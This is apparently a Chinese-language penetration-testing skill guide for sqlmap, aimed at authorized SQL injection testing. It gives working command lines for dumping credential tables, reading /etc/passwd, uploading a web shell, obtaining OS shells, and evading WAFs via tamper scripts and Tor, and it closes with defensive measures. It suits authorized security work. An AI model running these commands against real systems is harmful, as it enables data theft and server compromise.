name: webapp-sqlmap description: > 用于Web应用程序安全测试的自动化SQL注入检测与利用工具。 使用场景:(1) 在授权评估中测试Web应用程序的SQL注入漏洞, (2) 利用SQL注入漏洞以证明其影响,(3) 为安全验证提取数据库信息, (4) 通过SQL注入绕过身份验证机制,(5) 识别Web请求中的易受攻击参数, (6) 自动化数据库枚举和数据提取。 version: 0.1.0 maintainer: sirappsec@gmail.com category: offsec tags: [sqli, sql-injection, webapp, database-security, exploitation, sqlmap] frameworks: [OWASP, CWE, MITRE-ATT&CK] dependencies: packages: [sqlmap, python3] references:
- https://sqlmap.org/
- https://owasp.org/www-community/attacks/SQL_Injection
- https://cwe.mitre.org/data/definitions/89.html
SQLMap - 自动化SQL注入工具
概述
SQLMap是一款开源的渗透测试工具,可自动化检测和利用SQL注入漏洞。本技能涵盖授权安全测试,包括漏洞检测、数据库枚举、数据提取和身份验证绕过。
重要提示:SQL注入利用具有侵入性,可能损坏数据。仅在您拥有或已获得明确测试权限的系统上,并持有书面授权时使用SQLMap。
快速开始
基本SQL注入检测:
# 测试单个参数
sqlmap -u "http://example.com/page?id=1"
# 使用POST数据测试
sqlmap -u "http://example.com/login" --data="username=admin&password=test"
# 从保存的请求文件测试
sqlmap -r request.txt
# 检测并枚举数据库
sqlmap -u "http://example.com/page?id=1" --dbs
核心工作流
SQL注入测试工作流
进度: [ ] 1. 验证Web应用程序测试的授权 [ ] 2. 识别潜在的注入点 [ ] 3. 检测SQL注入漏洞 [ ] 4. 确定数据库管理系统类型和版本 [ ] 5. 枚举数据库和表 [ ] 6. 提取敏感数据(如获授权) [ ] 7. 记录发现并提供修复指导 [ ] 8. 清理任何测试痕迹
按步骤系统地进行。勾选已完成的项目。
1. 授权验证
关键:在进行任何SQL注入测试之前:
- 确认获得应用程序所有者的书面授权
- 验证测试范围包括Web应用程序安全测试
- 了解数据保护和处理要求
- 记录允许的测试时间窗口
- 确认备份和回滚程序
2. 目标识别
识别潜在的SQL注入点:
GET参数:
# 带参数的单个URL
sqlmap -u "http://example.com/product?id=1"
# 多个参数
sqlmap -u "http://example.com/search?query=test&category=all&sort=name"
# 测试所有参数
sqlmap -u "http://example.com/page?id=1&name=test" --level=5 --risk=3
POST请求:
# 直接POST数据
sqlmap -u "http://example.com/login" --data="user=admin&pass=test"
# 从Burp Suite请求文件
sqlmap -r login_request.txt
# 带额外请求头
sqlmap -u "http://example.com/api" --data='{"user":"admin"}' --headers="Content-Type: application/json"
Cookie和请求头:
# 测试Cookie
sqlmap -u "http://example.com/" --cookie="sessionid=abc123; role=user"
# 测试自定义请求头
sqlmap -u "http://example.com/" --headers="X-Forwarded-For: 1.1.1.1
User-Agent: Test"
# 测试特定注入点
sqlmap -u "http://example.com/" --cookie="sessionid=abc123*; role=user"
3. 检测与指纹识别
检测SQL注入漏洞:
# 基本检测
sqlmap -u "http://example.com/page?id=1"
# 激进测试(更高风险)
sqlmap -u "http://example.com/page?id=1" --level=5 --risk=3
# 指定技术
sqlmap -u "http://example.com/page?id=1" --technique=BEUSTQ
# 检测数据库管理系统
sqlmap -u "http://example.com/page?id=1" --fingerprint
# 强制指定数据库管理系统
sqlmap -u "http://example.com/page?id=1" --dbms=mysql
注入技术:
- B: 基于布尔的盲注
- E: 基于错误的注入
- U: 基于UNION查询的注入
- S: 堆叠查询
- T: 基于时间的盲注
- Q: 内联查询
4. 数据库枚举
枚举数据库结构:
# 列出数据库
sqlmap -u "http://example.com/page?id=1" --dbs
# 当前数据库
sqlmap -u "http://example.com/page?id=1" --current-db
# 列出数据库中的表
sqlmap -u "http://example.com/page?id=1" -D database_name --tables
# 列出表中的列
sqlmap -u "http://example.com/page?id=1" -D database_name -T users --columns
# 数据库用户
sqlmap -u "http://example.com/page?id=1" --users
# 数据库用户权限
sqlmap -u "http://example.com/page?id=1" --privileges
5. 数据提取
从数据库提取数据(仅限授权):
# 转储特定表
sqlmap -u "http://example.com/page?id=1" -D database_name -T users --dump
# 转储特定列
sqlmap -u "http://example.com/page?id=1" -D database_name -T users -C username,password --dump
# 转储所有数据库(谨慎使用)
sqlmap -u "http://example.com/page?id=1" --dump-all
# 排除系统数据库
sqlmap -u "http://example.com/page?id=1" --dump-all --exclude-sysdbs
# 搜索特定数据
sqlmap -u "http://example.com/page?id=1" -D database_name --search -C password
6. 高级利用
高级SQL注入技术:
文件系统访问:
# 从服务器读取文件
sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"
# 向服务器写入文件(极具侵入性)
sqlmap -u "http://example.com/page?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
操作系统命令执行(需要堆叠查询或带外技术):
# 执行操作系统命令
sqlmap -u "http://example.com/page?id=1" --os-cmd="whoami"
# 获取操作系统Shell
sqlmap -u "http://example.com/page?id=1" --os-shell
# 获取SQL Shell
sqlmap -u "http://example.com/page?id=1" --sql-shell
身份验证绕过:
# 尝试绕过登录
sqlmap -u "http://example.com/login" --data="user=admin&pass=test" --auth-type=Basic
# 带身份验证测试
sqlmap -u "http://example.com/page?id=1" --auth-cred="admin:password"
7. WAF绕过与规避
规避Web应用防火墙:
# 使用篡改脚本
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment
# 多个篡改脚本
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between
# 随机User-Agent
sqlmap -u "http://example.com/page?id=1" --random-agent
# 自定义User-Agent
sqlmap -u "http://example.com/page?id=1" --user-agent="Mozilla/5.0..."
# 请求间添加延迟
sqlmap -u "http://example.com/page?id=1" --delay=2
# 使用代理
sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080"
# 使用Tor
sqlmap -u "http://example.com/page?id=1" --tor --check-tor
常见篡改脚本:
space2comment: 将空格替换为注释between: 将等号替换为BETWEENcharencode: URL编码字符randomcase: 关键字随机大小写apostrophemask: 将撇号替换为UTF-8编码equaltolike: 将等号替换为LIKE
安全考量
授权与法律合规
- 书面许可:获取SQL注入测试的明确授权
- 数据保护:根据约定规则处理提取的数据
- 范围边界:仅测试明确授权的应用程序
- 备份验证:在进行侵入性测试前确保备份存在
- 生产系统:对生产数据库格外谨慎
操作安全
- 速率限制:使用–delay避免压垮应用程序
- 会话管理:使用–flush-session保存和恢复会话
- 日志记录:所有SQLMap活动都记录在~/.sqlmap/output/
- 数据脱敏:从报告中剔除敏感数据
- 误报:手动验证发现
审计日志
记录所有SQL注入测试:
- 测试的目标URL和参数
- 成功的注入技术
- 访问的数据库和表
- 提取的数据(仅摘要,非完整数据)
- 执行的命令
- 使用的篡改脚本和规避技术
合规性
- OWASP Top 10: A03:2021 - 注入
- CWE-89: SQL注入
- MITRE ATT&CK: T1190(利用面向公众的应用程序)
- PCI-DSS: 6.5.1 - 注入缺陷
- ISO 27001: A.14.2 开发安全
常见模式
模式1:基本漏洞评估
# 检测漏洞
sqlmap -u "http://example.com/page?id=1" --batch
# 枚举数据库
sqlmap -u "http://example.com/page?id=1" --dbs --batch
# 获取当前用户和权限
sqlmap -u "http://example.com/page?id=1" --current-user --current-db --is-dba --batch
模式2:身份验证绕过测试
# 测试登录表单
sqlmap -u "http://example.com/login" \
--data="username=admin&password=test" \
--level=5 --risk=3 \
--technique=BE \
--batch
# 尝试提取管理员凭据
sqlmap -u "http://example.com/login" \
--data="username=admin&password=test" \
-D app_db -T users -C username,password --dump \
--batch
模式3:API测试
# JSON API端点
sqlmap -u "http://api.example.com/user/1" \
--headers="Content-Type: application/json
Authorization: Bearer token123" \
--level=3 \
--batch
# 带POST的REST API
sqlmap -u "http://api.example.com/search" \
--data='{"query":"test","limit":10}' \
--headers="Content-Type: application/json" \
--batch
模式4:全面枚举
# 完整枚举(极度谨慎使用)
sqlmap -u "http://example.com/page?id=1" \
--banner \
--current-user \
--current-db \
--is-dba \
--users \
--passwords \
--privileges \
--dbs \
--batch
集成点
Burp Suite集成
# 将请求从Burp Suite保存为request.txt
# 右键请求 → "复制到文件"
# 使用SQLMap测试
sqlmap -r request.txt --batch
# 使用Burp作为代理
sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080"
报告与输出
# 保存会话供以后使用
sqlmap -u "http://example.com/page?id=1" -s output.sqlite
# 恢复会话
sqlmap -u "http://example.com/page?id=1" --resume
# 自定义输出目录
sqlmap -u "http://example.com/page?id=1" --output-dir="/path/to/results"
# 详细输出
sqlmap -u "http://example.com/page?id=1" -v 3
# 流量日志
sqlmap -u "http://example.com/page?id=1" -t traffic.log
故障排除
问题:误报
解决方案:
# 提高检测准确度
sqlmap -u "http://example.com/page?id=1" --string="Welcome" --not-string="Error"
# 使用特定技术
sqlmap -u "http://example.com/page?id=1" --technique=U
# 手动验证
sqlmap -u "http://example.com/page?id=1" --sql-query="SELECT version()"
问题:WAF拦截请求
解决方案:
# 使用篡改脚本
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between --random-agent
# 添加延迟
sqlmap -u "http://example.com/page?id=1" --delay=3 --randomize
# 更改HTTP方法
sqlmap -u "http://example.com/page?id=1" --method=PUT
问题:性能缓慢
解决方案:
# 使用线程(注意应用程序稳定性)
sqlmap -u "http://example.com/page?id=1" --threads=5
# 减少测试范围
sqlmap -u "http://example.com/page?id=1" --level=1 --risk=1
# 仅测试特定参数
sqlmap -u "http://example.com/page?id=1&name=test" -p id
防御考量
保护应用程序免受SQL注入攻击:
安全编码实践:
- 使用参数化查询/预编译语句
- 正确使用ORM框架
- 验证和清理所有用户输入
- 对数据库账户应用最小权限原则
- 在生产环境中禁用错误信息
Web应用防火墙规则:
- 阻止常见的SQL注入模式
- 实施速率限制
- 监控可疑的查询模式
- 对多次注入尝试发出警报
检测与监控:
- 记录所有数据库查询
- 监控异常的查询模式
- 对基于错误的注入尝试发出警报
- 检测基于时间的盲注延迟
- 监控基于UNION的查询